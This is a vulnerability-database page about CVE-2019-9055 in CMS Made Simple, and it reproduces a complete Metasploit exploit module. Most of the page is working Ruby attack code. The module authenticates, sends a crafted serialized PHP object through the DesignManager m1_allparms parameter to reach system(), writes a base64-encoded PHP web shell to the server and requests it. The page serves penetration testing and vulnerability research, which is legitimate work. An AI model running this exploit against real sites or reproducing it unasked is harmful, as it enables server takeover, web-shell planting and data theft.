Lucene search
K

CMS Made Simple Authenticated RCE via object injection

🗓️ 01 Nov 2019 11:11:38Reported by Daniele Scanu danielescanu20 <Daniele Scanu [email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 53 Views

CMS Made Simple Authenticated RCE via object injection. Unprivileged user with Designer permission can achieve object injection in CMS Made Simple 2.2.8 DesignManager module

Related
Code
ReporterTitlePublishedViews
Family
0day.today
CMS Made Simple 2.2.8 Remote Code Execution Exploit
14 Nov 201900:00
zdt
Circl
CVE-2019-9055
13 Nov 201914:45
circl
CVE
CVE-2019-9055
26 Mar 201916:25
cve
Cvelist
CVE-2019-9055
26 Mar 201916:25
cvelist
NVD
CVE-2019-9055
26 Mar 201917:29
nvd
OpenVAS
CMS Made Simple < 2.2.10 Multiple Vulnerabilities
12 Mar 201900:00
openvas
OSV
CVE-2019-9055
26 Mar 201917:29
osv
Packet Storm
CMS Made Simple 2.2.8 Remote Code Execution
13 Nov 201900:00
packetstorm
Prion
Design/Logic Flaw
26 Mar 201917:29
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'CMS Made Simple Authenticated RCE via object injection',
      'Description' => %q(
        An issue was discovered in CMS Made Simple 2.2.8.
        In the module DesignManager (in the files action.admin_bulk_css.php
        and action.admin_bulk_template.php), with an unprivileged user
        with Designer permission, it is possible to reach an unserialize
        call with a crafted value in the m1_allparms parameter,
        and achieve object injection.

        This module has been successfully tested on CMS Made Simple versions
        2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.
      ),
      'Author' => [
        'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2019-9055'],
        ['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],
        ['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']
      ],
      'Privileged' => false,
      'Platform' => ['php'],
      'Arch' => [ARCH_PHP],
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2019-03-26'))
    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),
        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
      ]
    )
  end

  def multipart_form_data(uri, data, message)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', uri),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{message.bound}",
      'cookie' => @cookies
    )
  end

  def post(uri, data)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', uri),
      'method' => 'POST',
      'vars_post' => data,
      'cookie' => @cookies
    )
  end

  def get(path, filename)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, path, filename),
      'method' => 'GET'
    )
  end

  def check
    res = get('', 'index.php')
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.body.match?(/CMS Made Simple/i)
      return CheckCode::Safe
    end

    version = Rex::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)
    vprint_status("#{peer} - CMS Made Simple Version: #{version}")

    if version <= Rex::Version.new('2.2.9.1')
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def login
    data = {
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'loginsubmit' => 'Submit'
    }
    res = post('login.php', data)

    unless res
      fail_with(Failure::Unreachable,
        'A response was not received from the remote host')
    end

    unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)}
      fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
    end
    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    vprint_good("#{peer} - Authentication successful")
    @csrf_name = Regexp.last_match(1)
    csrf_val = Regexp.last_match(2)
    @csrf = { @csrf_name => csrf_val }
    @cookies = res.get_cookies
  end

  def send_injection
    # prepare shell command
    shell_name = rand_text_alpha(8..12) + '.php'
    cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '')
    cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}"

    # prepare serialized object
    final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'
    final_payload += "\x00" + 'dm_xml_reader' + "\x00"
    final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'
    final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00"
    final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'
    final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'

    # create message with payload
    message = Rex::MIME::Message.new
    message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"")
    message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')
    message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')
    data = message.to_s

    # send payload
    payload_res = multipart_form_data('moduleinterface.php', data, message)
    fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res
    register_files_for_cleanup(shell_name)
    # open shell
    res = get('admin', shell_name)
    if res && res.code == 404
      print_error "Shell #{shell_name} not found"
    end
  end

  def exploit
    login
    send_injection
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Feb 2021 16:47Current
7.3High risk
Vulners AI Score7.3
CVSS 26.5
CVSS 38.8
EPSS0.31988
53